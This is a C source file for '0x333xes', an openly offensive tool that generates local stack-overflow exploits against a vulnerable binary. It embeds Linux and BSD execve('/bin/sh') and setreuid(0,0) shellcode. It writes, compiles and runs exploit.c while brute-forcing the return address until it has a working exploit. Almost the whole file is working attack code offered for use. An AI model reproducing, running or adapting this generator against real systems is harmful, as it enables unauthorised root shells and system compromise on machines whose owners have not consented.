/*  0x333xes => stack overflow exploit generator
 *
 *  simple stack overflow exploit generator, that permits
 *  you to generate a -working- exploit source code. to make
 *  your exploit correctly works, 'xes' try to automatically
 *  find the correct ret address
 *
 *  coded by c0wboy
 *
 *  ~ www.0x333.org ~
 */


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>


#define VERSION       "0.3"

#define EXPLOIT       "exploit.c"
#define TEST          "xes"        /* file created with test shellcode */

#define XES_std       0xbffff300   /* address we start from to search for RET */
#define XES_env       0xbfffe0ff   /* that is not really true ... but by testing
                                    * i found some ENV located there ...
                                    */

#define MAX_LENGHT    10240  /* max buffer-lenght to exploit */
#define MAX_EVIL      1337   /* max ret-buffer lenght */
#define MAX           4      /* max shellcodes supported */

#define fatal(x...)   { fprintf (stderr, ##x); exit(-333); }
#define offset(x)     0xbfffffff - x


typedef struct { 
        char * sh_name;
        char * sh_type;
} sharkode;

sharkode shark[] = {

   {
      " \"touch xes\" shellcode [-test only-]",
      "unsigned char test[] =\n\t"
      "\"\\xeb\\x30\\x5e\\x89\\x76\\x16\\x31\\xc0\\x88\"\n\t"
      "\"\\x46\\x08\\x88\\x46\\x0b\\x88\\x46\\x15\\x89\"\n\t"
      "\"\\x46\\x22\\xb0\\x0b\\x8d\\x5e\\x09\\x89\\x5e\"\n\t"
      "\"\\x1a\\x8d\\x5e\\x0c\\x89\\x5e\\x1e\\x89\\xf3\"\n\t"
      "\"\\x8d\\x4e\\x16\\x8d\\x56\\x22\\xcd\\x80\\x31\"\n\t"
      "\"\\xc0\\xb0\\x01\\xcd\\x80\\xe8\\xcb\\xff\\xff\"\n\t"
      "\"\\xff\\x2f\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\"\n\t"
      "\"\\x20\\x2d\\x63\\x20\\x74\\x6f\\x75\\x63\\x68\"\n\t"
      "\"\\x20\\x78\\x65\\x73\";"
   },

   {
      " execve(/bin/sh); [linux]",
      "unsigned char sharkode[] =\n\t"
      "\"\\x31\\xc0\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\"\n\t"
      "\"\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x99\\x52\\x53\"\n\t"
      "\"\\x89\\xe1\\xb0\\x0b\\xcd\\x80\";"
   },

   {
      " execve(/bin/sh); [*BSD]",
      "unsigned char sharkode[] =\n\t"
      "\"\\x31\\xc0\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\"\n\t"
      "\"\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x50\\x54\\x53\"\n\t"
      "\"\\x50\\xb0\\x3b\\xcd\\x80\";"
   },

   {
      " setreuid(0,0)  shellcode",
      "unsigned char sharkode[] =\n\t"
      "\"\\x31\\xc0\\x31\\xdb\\x31\\xc9\\xb0\\x46\\xcd\"\n\t"
      "\"\\x80\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\"\n\t"
      "\"\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x8d\\x54\"\n\t"
      "\"\\x24\\x08\\x50\\x53\\x8d\\x0c\\x24\\xb0\\x0b\"\n\t"
      "\"\\xcd\\x80\\x31\\xc0\\xb0\\x01\\xcd\\x80\";"
   },

   { NULL, NULL },
};

int off = 0;

// prototypes
int main (int, char * []);
void usage (char *);
void shak_list (void);
unsigned long xes (int); /* find correct ret address */

void
usage (char * prg)
{
   fprintf (stderr, "\n [~] 0x333xes => stack overflow exploit generator v%s [~]\n", VERSION);
   fprintf (stderr, " [~]          coded by c0wboy ~ www.0x333.org          [~] \n\n");
   fprintf (stderr, " Usage : %s [ -b binary ] [ -e environ ] [ -w switch ]", prg);
   fprintf (stderr, " [ -s type ] [ -x ] [ -l lenght ] [ -o lenght ] [ -a align ] [ -h ]\n");
   fprintf (stderr, "\n \t-b\tbugged binary\n");
   fprintf (stderr, " \t-e\tset environ variable bugged\n");
   fprintf (stderr, " \t-w\tset switch bugged\n");
   fprintf (stderr, " \t-s\tshellcode type [0-%d]\n", MAX-1);
   fprintf (stderr, " \t-x\tshellcode list\n");
   fprintf (stderr, " \t-l\tbuffer lenght\n");
   fprintf (stderr, " \t-o\tevil buffer (nop+shellcode) lenght (default 1337)\n");
   fprintf (stderr, " \t-a\talign the buffer (try 1)\n");
   fprintf (stderr, " \t-h\tdisplay this help\n\n");

   exit (-333);
}

void
shak_list (void)
{
   int list;
   fprintf (stdout, "\n [~] Shellcode Types :\n");
   fprintf (stdout, " --------------------- \n");      
   
   for (list = 0; shark[list].sh_name != NULL; ++list)
      fprintf (stdout, " [%d] %s\n", list, shark[list].sh_name);
   fprintf (stdout, "\n");
   
   exit (-333);
}

unsigned long
xes (int hard)
{
   int ret;
   char wuffer[33];
   unsigned long xes;
   FILE * cya, * fd;
   
   if (off)
      xes=XES_env;
   else
      xes=XES_std;

   for (ret=1 ; ret < (offset(xes)) ; ret++, xes++)
   {
      bzero (wuffer, 33);
      sprintf (wuffer, "./exploit 0x%x", xes);

      fprintf (stdout, " * testing 0x%x\n", xes);
      if ((cya=popen (wuffer, "r")) == NULL)
         fatal (" [-] Error in testing exploit ...\n\n");
      
      if ((fd=fopen(TEST, "r")))
      {
         pclose(cya);
         fclose(fd);
         return (xes+ 0xdf);
      }
      pclose(cya);
   }

   if(!hard)
      fprintf (stderr, " [~] ret address NOT found ..\n [~] we suppose :\n\n"
                       "    [*] wrong buffer align\n [~] try to solve this problem ...\n");

   return (0x333);
}


int
main (int argc, char * argv[])
{
   int c, s=0, len=0, out=MAX_EVIL, step=0, align=0, hard=0;
   char exe[100], *bin=NULL, *w=NULL, *env=NULL;
   unsigned long ret_add;
   FILE * fd;

   while(( c = getopt (argc, argv, "xhb:e:w:s:l:o:a:")) != EOF)
   {
      switch(c)
      {
         case 'b' : bin = optarg; break;

         case 'e' :
            env = optarg;
            off=1;
            break;

         case 'w' : w = optarg; break;

         case 's' : /* shellcode types */
            s = atoi(optarg);
            if ((s<0) || (s>MAX-1))
               usage (argv[0]);
            break;

         case 'x' : shak_list();

         case 'l' :
            len = atoi(optarg);
            if (len>MAX_LENGHT)
               fatal (" [-] explotable-buffer is too long\n");
            break;

         case 'o' :
            out = atoi(optarg); 
            if (out>MAX_EVIL)
               fatal (" [-] ret-buffer too long\n");
            break;

         case 'a' : align = atoi(optarg); break;
         case 'h' : usage(argv[0]);
         default  : usage(argv[0]);
      }
   }

   if ((!bin) || (!len) || ((env) && (w)))
      usage(argv[0]);

   fprintf (stdout, "\n [~] 0x333xes => stack flow exploit generator [~]\n");
   fprintf (stdout, " [~]      coded by c0wboy ~ www.0x333.org     [~] \n\n");
   fprintf (stdout, " [*] creating source code ...\n");


 do_sploit :   /* when ret is found, we re-write the exploit */

   system ("rm -rf xes");
   
   if((fd = fopen (EXPLOIT, "w")) == NULL)
      fatal (" [-] Error in creating %s\n", EXPLOIT);

   fprintf (fd, "/*  Generated with 0x333xes ~ coded by c0wboy\n *");
   fprintf (fd, "\n *  ~ www.0x333.org ~\n *\n */ ");

   /* setting header */
   fprintf (fd, "\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n");
   fprintf (fd, "#include <string.h>\n\n#define BIN\t\"%s\"\n#define NOP\t0x90\n", bin);
   fprintf (fd, "#define BUFFER\t%i\n", len);

   if (!env)
      fprintf (fd, "#define OUTSIDE\t%i\n", out);

   if (hard)
      align = 1;

   if (!align)
      fprintf (fd, "#define ALIGN\t0\n");
   else
      fprintf (fd, "#define ALIGN\t%d\n", align);

   if (step)
      fprintf (fd, "#define RET\t0x%x\n", ret_add);

   /* setting shellcode */
   if (step)
      fprintf (fd, "\n\n%s\n", shark[s].sh_type);
   else
      fprintf (fd, "\n\n%s\n", shark[0].sh_type); /* test-shellcode */

   /* setting main() */
   if (step)
      fprintf (fd, "int\nmain ()\n");
   else
      fprintf (fd, "int\nmain (int argc, char * argv[])\n");

   if (env)
      fprintf (fd, "{\n   int x;\n   char buf[BUFFER], *bufz;\n");
   else
      fprintf (fd, "{\n   int x;\n   char buf[BUFFER], out[OUTSIDE], *bufz;\n");

   if (step)
      fprintf (fd, "   unsigned long ret_add = RET, *add_ptr ;\n\n");
   else
      fprintf (fd, "   unsigned long ret_add, *add_ptr ;\n\n"
                   "   if (argc != 2)\n      exit (-333);\n\n"
                   "   ret_add = strtoul (argv[1], &argv[1], 16);\n\n");

   fprintf (fd, "   bufz = buf + ALIGN;\n   add_ptr = (long *)bufz;\n\n"
                "   for (x=0; x<BUFFER-1; x+=4)\n"
                "      *(add_ptr++)=ret_add;\n\n");

   if (env)
   {
      if (step)
      {
         fprintf (fd, "   /* nop + shellcode */\n   memset ((char *)buf, NOP, 333 + "
                      "strlen (sharkode));\n   memcpy ((char *)buf+333, sharkode, "
                      "strlen (sharkode));\n\n");
      }
      else
      {
         fprintf (fd, "   /* nop + shellcode */\n   memset ((char *)buf, NOP, 333 + "
                      "strlen (test));\n   memcpy ((char *)buf+333, test, strlen "
                      "(test));\n\n");
      }
   }
   else /* standard exploiting */
   {
      fprintf (fd, "   /* nop + shellcode */\n   memset ((char *)out, NOP, OUTSIDE);\n");

      if (step)
         fprintf (fd, "   memcpy ((char *)out + 333, sharkode, strlen(sharkode));\n\n");
      else 
         fprintf (fd, "   memcpy ((char *)out + 333, test, strlen(test));\n\n");

      fprintf (fd, "   memcpy((char *)out, \"OUT=\", 4);\n   putenv(out);\n\n");
   }

   /* environment bugged ? */
   if (env)
   {
      if(step)
         fprintf (fd, "\n");
      
      fprintf (fd, "   setenv (\"%s\", buf, 333);\n", env);
   }

   if (step)
      fprintf (fd, "\n   fprintf (stdout, \" Local exploit for %s\");\n", bin);
   
   /* switch ? */
   if (w)
      fprintf (fd, "   execl (BIN, BIN, \"%s\", buf, NULL);\n", w);
   else
   {
      if (env)
         fprintf (fd, "   execl (BIN, BIN, NULL);\n");
      else
         fprintf (fd, "   execl (BIN, BIN, buf, NULL);\n");
   }

   fprintf (fd, "\n   return 0;\n}\n\n");
   fclose (fd);

   /* compile & test exploit */
   if (!step)
   {
      sprintf (exe, "gcc %s -o exploit", EXPLOIT);
      system (exe);
  
      fprintf (stdout, " [*] exploit created\n");
      fprintf (stdout, " [*] now find correct ret add\n");

      if (( ret_add = xes (hard) ) == 0x333)
      {
         if (hard)
         {
            fprintf (fd, " [-] exploit doesn't work ...\n"
                         "    [**] maybe binary has not -stack- overflow problem [**]\n"
                         " [-] other problems can be detected by reading source code ...\n"
                         " [-] sorry\n");
           exit (-333);
         }
         else
            hard=1;

         goto do_sploit;
      }
      else
      {
         step=1;
         goto do_sploit;
      }
   }

   system ("rm -rf exploit xes");
   fprintf (stdout, "\n [*] your working exploit for %s is ready !\n\n", bin);
   return 0;
}